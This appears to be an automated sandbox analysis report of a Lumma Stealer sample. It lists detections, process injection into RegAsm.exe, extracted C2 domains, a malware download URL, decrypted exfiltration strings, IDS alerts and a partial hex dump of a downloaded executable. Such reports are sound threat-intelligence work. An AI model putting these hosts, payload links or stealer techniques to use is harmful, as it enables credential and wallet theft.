Edit tour

Windows Analysis Report
ZjH6H6xqo7.exe

Overview

General Information

Sample name:	ZjH6H6xqo7.exe renamed because original name is a hash value
Original sample name:	16a1fbd21af85d43b1ac31bf1829a152.exe
Analysis ID:	1561755
MD5:	16a1fbd21af85d43b1ac31bf1829a152
SHA1:	522a835acc8ec09d9d74d695fb9ebaed3b2d72ff
SHA256:	36589e0ed1c8a584dc014add50db2f2ac1c5a0cfac5403f7b7886b66e26a1d86
Tags:	exeLummaStealeruser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected LummaC Stealer

.NET source code contains very large strings

.NET source code references suspicious native API functions

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Compiles code for process injection (via .Net compiler)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: Dot net compiler compiles file from suspicious location

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the clipboard data

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

ZjH6H6xqo7.exe (PID: 5452 cmdline: "C:\Users\user\Desktop\ZjH6H6xqo7.exe" MD5: 16A1FBD21AF85D43B1AC31BF1829A152)

csc.exe (PID: 6480 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

conhost.exe (PID: 5428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 6160 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6781.tmp" "c:\Users\user\AppData\Local\Temp\up5gphgh\CSCE347F25DAC914FE0BD5774A121A2513C.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

RegAsm.exe (PID: 6392 cmdline: "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["300snails.sbs", "faintbl0w.sbs", "3xc1aimbl0w.sbs", "thicktoys.sbs"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: ZjH6H6xqo7.exe PID: 5452	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: "C:\Users\user\Desktop\ZjH6H6xqo7.exe", ParentImage: C:\Users\user\Desktop\ZjH6H6xqo7.exe, ParentProcessId: 5452, ParentProcessName: ZjH6H6xqo7.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.cmdline", ProcessId: 6480, ProcessName: csc.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\Desktop\ZjH6H6xqo7.exe, ProcessId: 5452, TargetFilename: C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.cmdline

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: "C:\Users\user\Desktop\ZjH6H6xqo7.exe", ParentImage: C:\Users\user\Desktop\ZjH6H6xqo7.exe, ParentProcessId: 5452, ParentProcessName: ZjH6H6xqo7.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.cmdline", ProcessId: 6480, ProcessName: csc.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T08:35:38.621322+0100	2028371	3	Unknown Traffic	192.168.2.5	49705	104.21.47.136	443	TCP
2024-11-24T08:35:40.735887+0100	2028371	3	Unknown Traffic	192.168.2.5	49706	104.21.47.136	443	TCP
2024-11-24T08:35:42.937475+0100	2028371	3	Unknown Traffic	192.168.2.5	49707	104.21.47.136	443	TCP
2024-11-24T08:35:44.950948+0100	2028371	3	Unknown Traffic	192.168.2.5	49708	104.21.47.136	443	TCP
2024-11-24T08:35:47.056522+0100	2028371	3	Unknown Traffic	192.168.2.5	49709	104.21.47.136	443	TCP
2024-11-24T08:35:49.322834+0100	2028371	3	Unknown Traffic	192.168.2.5	49710	104.21.47.136	443	TCP
2024-11-24T08:35:51.956377+0100	2028371	3	Unknown Traffic	192.168.2.5	49711	104.21.47.136	443	TCP
2024-11-24T08:35:55.574111+0100	2028371	3	Unknown Traffic	192.168.2.5	49722	104.21.47.136	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T08:35:39.319394+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	104.21.47.136	443	TCP
2024-11-24T08:35:41.446509+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49706	104.21.47.136	443	TCP
2024-11-24T08:35:56.299081+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49722	104.21.47.136	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T08:35:39.319394+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49705	104.21.47.136	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T08:35:41.446509+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49706	104.21.47.136	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (sector-essay .cyou in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T08:35:38.621322+0100	2057671	1	Domain Observed Used for C2 Detected	192.168.2.5	49705	104.21.47.136	443	TCP
2024-11-24T08:35:40.735887+0100	2057671	1	Domain Observed Used for C2 Detected	192.168.2.5	49706	104.21.47.136	443	TCP
2024-11-24T08:35:42.937475+0100	2057671	1	Domain Observed Used for C2 Detected	192.168.2.5	49707	104.21.47.136	443	TCP
2024-11-24T08:35:44.950948+0100	2057671	1	Domain Observed Used for C2 Detected	192.168.2.5	49708	104.21.47.136	443	TCP
2024-11-24T08:35:47.056522+0100	2057671	1	Domain Observed Used for C2 Detected	192.168.2.5	49709	104.21.47.136	443	TCP
2024-11-24T08:35:49.322834+0100	2057671	1	Domain Observed Used for C2 Detected	192.168.2.5	49710	104.21.47.136	443	TCP
2024-11-24T08:35:51.956377+0100	2057671	1	Domain Observed Used for C2 Detected	192.168.2.5	49711	104.21.47.136	443	TCP
2024-11-24T08:35:55.574111+0100	2057671	1	Domain Observed Used for C2 Detected	192.168.2.5	49722	104.21.47.136	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sector-essay .cyou)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T08:35:36.997805+0100	2057670	1	Domain Observed Used for C2 Detected	192.168.2.5	61746	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T08:35:50.066874+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49710	104.21.47.136	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T08:35:51.960983+0100	2843864	1	A Network Trojan was detected	192.168.2.5	49711	104.21.47.136	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: ZjH6H6xqo7.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://sector-essay.cyou/api	Avira URL Cloud: Label: malware
Source: https://sector-essay.cyou/apij	Avira URL Cloud: Label: malware
Source: http://147.45.44.131/infopage/tvh53.exe	Avira URL Cloud: Label: malware
Source: https://sector-essay.cyou/5	Avira URL Cloud: Label: malware
Source: https://sector-essay.cyou/apiO	Avira URL Cloud: Label: malware
Source: https://sector-essay.cyou/apiC	Avira URL Cloud: Label: malware
Source: https://sector-essay.cyou/	Avira URL Cloud: Label: malware
Source: https://sector-essay.cyou:443/apiMicrosoft	Avira URL Cloud: Label: malware
Source: https://sector-essay.cyou/apie	Avira URL Cloud: Label: malware
Source: https://sector-essay.cyou:443/api	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.dll

Avira: detection malicious, Label: HEUR/AGEN.1300034

Found malware configuration

Source: 5.2.RegAsm.exe.400000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["300snails.sbs", "faintbl0w.sbs", "3xc1aimbl0w.sbs", "thicktoys.sbs"]}

Multi AV Scanner detection for submitted file

Source: ZjH6H6xqo7.exe	ReversingLabs: Detection: 71%
Source: ZjH6H6xqo7.exe	Virustotal: Detection: 65%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.dll

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: ZjH6H6xqo7.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: faintbl0w.sbs
Source: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: 300snails.sbs
Source: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: 3xc1aimbl0w.sbs
Source: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: thicktoys.sbs
Source: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 5_2_004192C3 CryptUnprotectData,

5_2_004192C3

Source: unknown	HTTPS traffic detected: 104.21.47.136:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.47.136:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.47.136:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.47.136:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.47.136:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.47.136:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.47.136:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.47.136:443 -> 192.168.2.5:49722 version: TLS 1.2

Source: ZjH6H6xqo7.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Binary string: $]q8C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.pdb source: ZjH6H6xqo7.exe, 00000000.00000002.2074535680.0000000002FC4000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 4C697C35h	5_2_00441050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edx], al	5_2_0042E3BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax]	5_2_00441480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edi, byte ptr [esp+edx+000000E8h]	5_2_0040E4AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-0CA2BA0Eh]	5_2_0040CDB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+esi+04h]	5_2_00423850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-2FEE79D7h]	5_2_0040D80D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], cl	5_2_0042C81E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esi+04h], eax	5_2_0042E03F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 1B6183F2h	5_2_004268D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [ebx], dx	5_2_00418890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax+000001ADh]	5_2_0041990C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ecx+5F30FA22h]	5_2_0040B1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	5_2_004251D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 4C697C35h	5_2_004411E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], bl	5_2_004091B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movsx eax, byte ptr [esi]	5_2_00440210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, edx	5_2_0041C225
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movsx eax, byte ptr [esi]	5_2_004402F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, eax	5_2_0041D330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx eax, byte ptr [esi+edx+00000420h]	5_2_0042C3D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], dl	5_2_0042C3D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-5B418B08h]	5_2_0043C3D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 98D5A07Fh	5_2_0043C3D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, eax	5_2_0041EB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [esi], ax	5_2_0041EB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [esi], ax	5_2_0041EB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-42FFC5DBh]	5_2_0040D392
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	5_2_00425440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	5_2_00435CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	5_2_0042B4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, eax	5_2_00426C90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esi+04h], eax	5_2_0042ED09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [eax+ecx]	5_2_0040AD20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esi+04h], eax	5_2_0042EDCA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	5_2_004255D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx eax, byte ptr [edi]	5_2_0043FDE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movsx eax, byte ptr [esi]	5_2_0043FDE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	5_2_004235F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [ebp-10h], edx	5_2_00424DA1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ebx, bx	5_2_004255A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 32F24C0Bh	5_2_0043BE60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-7269D38Fh]	5_2_00418E83
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp dword ptr [00446898h]	5_2_00419744
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [ecx], edi	5_2_0040B769
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ecx+ebx*8], 9C142CDAh	5_2_00440F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, word ptr [eax]	5_2_00441720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, ecx	5_2_004077D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	5_2_0041FF90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, ecx	5_2_0040C795
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 1B6183F2h	5_2_0043BFA0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057670 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sector-essay .cyou) : 192.168.2.5:61746 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057671 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (sector-essay .cyou in TLS SNI) : 192.168.2.5:49711 -> 104.21.47.136:443
Source: Network traffic	Suricata IDS: 2057671 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (sector-essay .cyou in TLS SNI) : 192.168.2.5:49710 -> 104.21.47.136:443
Source: Network traffic	Suricata IDS: 2057671 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (sector-essay .cyou in TLS SNI) : 192.168.2.5:49705 -> 104.21.47.136:443
Source: Network traffic	Suricata IDS: 2057671 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (sector-essay .cyou in TLS SNI) : 192.168.2.5:49709 -> 104.21.47.136:443
Source: Network traffic	Suricata IDS: 2057671 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (sector-essay .cyou in TLS SNI) : 192.168.2.5:49706 -> 104.21.47.136:443
Source: Network traffic	Suricata IDS: 2057671 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (sector-essay .cyou in TLS SNI) : 192.168.2.5:49708 -> 104.21.47.136:443
Source: Network traffic	Suricata IDS: 2057671 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (sector-essay .cyou in TLS SNI) : 192.168.2.5:49722 -> 104.21.47.136:443
Source: Network traffic	Suricata IDS: 2057671 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (sector-essay .cyou in TLS SNI) : 192.168.2.5:49707 -> 104.21.47.136:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49705 -> 104.21.47.136:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 104.21.47.136:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49706 -> 104.21.47.136:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49710 -> 104.21.47.136:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:49711 -> 104.21.47.136:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49722 -> 104.21.47.136:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49706 -> 104.21.47.136:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 300snails.sbs
Source: Malware configuration extractor	URLs: faintbl0w.sbs
Source: Malware configuration extractor	URLs: 3xc1aimbl0w.sbs
Source: Malware configuration extractor	URLs: thicktoys.sbs

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 07:35:35 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Sat, 16 Nov 2024 15:59:10 GMTETag: "4ce00-62709c39a70e3"Accept-Ranges: bytesContent-Length: 314880Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 05 00 a2 bf 37 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 10 04 00 00 ba 00 00 00 00 00 00 70 8a 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 cd 3b 04 00 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 05 00 24 3d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 3d 04 00 bc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 70 0f 04 00 